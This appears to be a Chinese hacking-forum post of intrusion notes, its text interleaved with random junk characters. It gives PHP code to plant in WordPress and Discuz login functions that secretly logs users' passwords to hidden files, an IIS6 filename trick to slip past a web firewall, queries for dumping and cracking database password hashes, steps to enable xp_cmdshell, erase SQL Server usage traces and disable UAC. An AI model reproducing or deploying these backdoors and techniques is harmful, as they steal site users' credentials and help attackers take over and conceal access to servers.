4 J% _( S4 U( a; L- f% d3 Qif($log_user&&$log_pwd&&$log_ip){/ N! g" q3 y, O( D; v
@fwrite(fopen(‘pwd.txt’,”a+”),$txt);% ?1 |  e: V- x2 K
}
; x* F# y9 P2 N- h8 ?当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。; p% T1 M4 m3 X, S6 c) q2 l
就是搜索case ‘login’7 t" v. ^; `5 |: A! d
在它下面直接插入即可,记录的密码生成在pwd.txt中,
% p, {: Y8 l. d) m7 N其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录+ i: K; V% _& B. Z
利用II6文件解析漏洞绕过安全狗代码:
& N$ h* W" U6 _/ k* d/ I;antian365.asp;antian365.jpg
, u, r2 f" a% I, r6 J8 z" }% {! }7 q
各种类型数据库抓HASH破解最高权限密码!
0 O8 {# z+ N2 D7 x/ m1.sql server2000
9 A, I0 X2 i4 e( f( }- \SELECT password from master.dbo.sysxlogins where name='sa'# x1 r$ O5 W5 H0 p# Y- ^% X
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
' E) T0 J  q7 ]( A2FD54D6119FFF04129A1D72E7C3194F7284A7F3A5 r+ B# v0 X1 ~+ \. _

- U- }$ f$ b1 p/ {7 d" {2 b0×0100- constant header, i. T. c. _' Q
34767D5C- salt: M& b) x0 Z- n3 {' O! a& v7 H
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
, |7 x. B+ ?- g) g) f0 U2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
8 H- l5 i; P( M- |crack the upper case hash in ‘cain and abel’ and then work the case sentive hash
4 _. J+ r, O  |6 s' L' O& A* N  |SQL server 2005:-4 S. V# a0 y7 J6 i0 h4 ^
SELECT password_hash FROM sys.sql_logins where name='sa'* P+ y: N8 ^# r$ m( b
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
/ \7 s9 n* @$ k: o, o' h4 J0×0100- constant header- Z5 ?( G: {; Z) h2 t5 o0 Z" a7 c! Y
993BF231-salt
* K! F8 L1 d6 y+ o* {5 N! L( p0 H5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
) n, t; E2 I$ s5 Zcrack case sensitive hash in cain, try brute force and dictionary based attacks.* l2 }5 _& H1 l2 [* K5 ?( X9 D
0 L$ I7 z: z" B5 [& R+ ~) h
update:- following bernardo’s comments:-$ k: y% Z7 C' i5 N
use function fn_varbintohexstr() to cast password in a hex string.6 ~( V; Y1 V% j" W- g0 T
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins
: G7 G8 [2 W) x; L( Y. n3 H) y/ z, v( i' B1 y) y( Z
MYSQL:-% Y: i  ?" W8 _& X! [' l0 w7 H
* I8 x1 _0 v) `: ~
In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.4 d/ G/ l7 M! [4 H! S+ Y

7 y/ X( A3 B" R$ C: T+ s: Y*mysql  < 4.1
( j. s* _2 A- c3 ?. c# H
. ~$ p$ E. H1 }4 `' Kmysql> SELECT PASSWORD(‘mypass’);
" @$ L* o# _  ?  c2 m* H+——————–+2 b- X( Q' @! c+ h/ |
| PASSWORD(‘mypass’) |
) H5 z( @* D+ u9 E+——————–+
; y1 Z( W. s! Y! G+ D- C5 }6 L! f| 6f8c114b58f2ce9e   |' t3 j3 z" p- @! ~5 n+ c" A
+——————–+9 p. @( f+ v. F! C" D) `

" X8 m1 \8 L2 v*mysql >=4.1
7 ~% t3 w( g- w
; c2 [; q/ W7 d! ]mysql> SELECT PASSWORD(‘mypass’);$ I4 v  P2 ]/ M2 k, j1 x$ ?9 V
+——————————————-+" f! u$ c0 _, `/ y
| PASSWORD(‘mypass’)                        |
8 z' ]! L4 a: h) S2 b; t+——————————————-+
; e* h$ [: K; Z/ u$ h| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |- B# S2 Y3 V. u6 c! `" w6 Z7 u
+——————————————-+& b, f* W( C; ^* |' c

9 v4 M) F2 m4 K) G  f2 X$ e2 |Select user, password from mysql.user1 E: y' C+ C1 ~7 f0 ]* M
The hashes can be cracked in ‘cain and abel’6 ^$ d, T) A2 a0 S$ Z4 \
" ?" q4 K( M, O; k
Postgres:-
+ R; ]' B$ P& n& n# BPostgres keeps MD5-based password hashes for database-level users in the pg_shadow table.  You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)
  K! w& o7 w; s1 y3 M: y. ]select usename, passwd from pg_shadow;$ S  W- `) j( }3 P
usename      |  passwd
; V) A$ K: h  q* J& V/ ]- i' N& Q" e——————+————————————-8 q  D: \7 N$ ~8 X1 _6 U6 j5 u1 D
testuser            | md5fabb6d7172aadfda4753bf0507ed4396
5 [( B$ U7 o- w: p' V. Luse mdcrack to crack these hashes:-
! R  O( P. D, P! F" I2 N& N$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396/ @( n: `# k. i% i1 O/ u
* h6 O* y% s8 x( u# ^8 S% f8 ^
Oracle:-  [0 v3 G! w: h- Y# }9 w
select name, password, spare4 from sys.user$
/ ~, _! @) X! D3 t7 Z; Xhashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g
/ f, q3 P, K7 x8 C/ jMore on Oracle later, i am a bit bored….$ C" Q! `% y) B4 Z, Q$ c
7 l: ?! v% L6 c/ K4 G3 c

* ]4 R  k2 Y. j( P" e5 ^. k, k: A在sql server2005/2008中开启xp_cmdshell
9 g! ?: |! ^, @* J-- To allow advanced options to be changed.4 H( K. i/ B! s; S8 a: A
EXEC sp_configure 'show advanced options', 1+ c% q4 s. F+ f4 K! I8 c* g
GO
# X% }: Q" ~) }$ x  h; A: ^& B% ?8 x& Y-- To update the currently configured value for advanced options.
2 |0 H1 t0 b' E; |4 n8 YRECONFIGURE
4 W' b5 ]3 Q& h* q, @GO! O. a) r4 Z+ _$ d% c6 {
-- To enable the feature.; e+ u6 C3 x7 ^# B6 M
EXEC sp_configure 'xp_cmdshell', 1
; v( I$ a/ d! e9 oGO( {) `; C" G0 t2 F2 H* _
-- To update the currently configured value for this feature.
/ U, _5 ?2 C- I8 l  GRECONFIGURE  q- \7 ~. C) O& ^- X$ ?9 w
GO
' @4 P) s4 N3 q  m3 i! ESQL 2008 server日志清除,在清楚前一定要备份。9 Z) `  x+ }2 p! d
如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:* G8 v' G" U, h9 F7 \4 G; j
X:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin
' Q% F" B7 L# p4 k
' x6 Y5 i$ G% z9 P$ h( A# L' B- o0 L对于SQL Server 2008以前的版本:
; x. b' M* X  Y" u4 D/ I  ?. zSQL Server 2005:( S4 [( H3 p/ r( x. R
删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
6 x$ E5 _8 G) u4 G; WSQL Server 2000:5 G3 z% }, t+ A! G) V- `- i
清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft  SQL  Server\80\Tools\Client\PrefServers\相应的内容即可。" j+ z1 Q& }+ N+ C8 Z
$ _, U, V/ y7 z2 k! o$ O1 a
本帖最后由 simeon 于 2013-1-3 09:51 编辑/ V) C# B/ _3 ~) b
2 L# \1 H/ l" J/ x5 `

" x- X! e7 l. d" i, i4 P6 R8 bwindows 2008 文件权限修改
' O$ ]5 q7 ]$ X% S/ Z# g1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx& B5 M+ u2 t) C% s7 E" D2 l
2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98
- K& n* N4 L+ U一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,
6 j$ G$ R: H$ ~) p% O. D! f8 \. a* C- ], o8 P$ o' O8 e
Windows Registry Editor Version 5.000 f- L/ `2 U3 a' O7 k$ d/ J0 \
[HKEY_CLASSES_ROOT\*\shell\runas]/ Y8 [) {8 {0 N
@="管理员取得所有权"1 c3 s3 ?% m/ o
"NoWorkingDirectory"=""
6 h. p0 V; z6 p. T* @[HKEY_CLASSES_ROOT\*\shell\runas\command]
2 O3 H) t4 S6 O* L: \, B& ^( E( x@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F") P& V$ ]0 p3 P+ _
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"- l$ ]' \! f& G
[HKEY_CLASSES_ROOT\exefile\shell\runas2]; @" r) r/ P+ p- A1 q( C3 X2 e& J
@="管理员取得所有权"2 s  y' |2 p# A, ^6 I0 a
"NoWorkingDirectory"=""5 S0 i8 {- @" B  K% f0 `  _- D& [
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]
5 k1 L1 _! T. s+ `* W@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
" i/ [. O( i+ x! w"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"/ W! o: \( Z& L$ \4 o% K

0 k" G, d6 s3 l# H$ R2 U" t[HKEY_CLASSES_ROOT\Directory\shell\runas]
$ K8 F+ ~# b% H; M+ B2 Z@="管理员取得所有权"
+ s' `, p3 R4 `# I( x. h"NoWorkingDirectory"="") o; f; A" r0 a
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]7 F6 q, k/ Y! H! A7 K$ o( c
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"1 w1 K. S2 ?+ N- r3 A3 k8 t. h
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"5 C/ m2 U5 ~  D* d# ~9 {

1 S1 Z9 e5 l, }; V; m
! j" ]7 b1 c& C4 z) r4 p& d8 nwin7右键“管理员取得所有权”.reg导入1 g) A; Y3 U! W
二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,9 N! u; m* h- k& I0 D# A& C% m6 Z
1、C:\Windows这个路径的“notepad.exe”不需要替换9 f6 {( `. w  b' s8 P$ D  A
2、C:\Windows\System32这个路径的“notepad.exe”不需要替换9 E  W* E- G4 Y: ^6 z: W
3、四个“notepad.exe.mui”不要管
' k; w. c( p) f. Q4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和+ W. ^$ W- q/ j2 ?  J
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”
; G' {" N% ]/ I, ~+ a替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,* ?( _' f8 s* C  o
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。0 X# b/ ]* s) z/ A8 {
windows 2008中关闭安全策略: % @+ z1 V8 c% |' L
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f. E9 F1 u% l) {* |
修改uc_client目录下的client.php 在2 c( D1 C6 Z+ X1 e
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
  |6 |' X. `2 t下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
5 ]2 z' c  K; i, L你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw. J' a, a. d/ V  |0 R  O, I
if(getenv('HTTP_CLIENT_IP')) {
( f9 z+ p6 ~2 \% c7 m$onlineip = getenv('HTTP_CLIENT_IP');' o: n  ^5 L# ?4 o) e
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
6 s. f5 g+ p5 z7 V$onlineip = getenv('HTTP_X_FORWARDED_FOR');2 q% b' B- o! K) q3 K/ b7 R9 z: \
} elseif(getenv('REMOTE_ADDR')) {
& D5 C& F; }( v. n& ]$onlineip = getenv('REMOTE_ADDR');4 Z& a' X6 i+ U- n3 g
} else {
& J" w% j3 z4 j7 k$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];+ V% }1 e/ s# _; c# Z6 f3 }  x6 q
}
7 Q  ~% d/ U+ d, A  ^     $showtime=date("Y-m-d H:i:s");
; U6 @# o; ^  X    $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
' R% b# Z4 e) S2 e3 Z    $handle=fopen('./data/cache/csslog.php','a+');& |+ J0 Z% {7 Q1 y
    $write=fwrite($handle,$record);
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表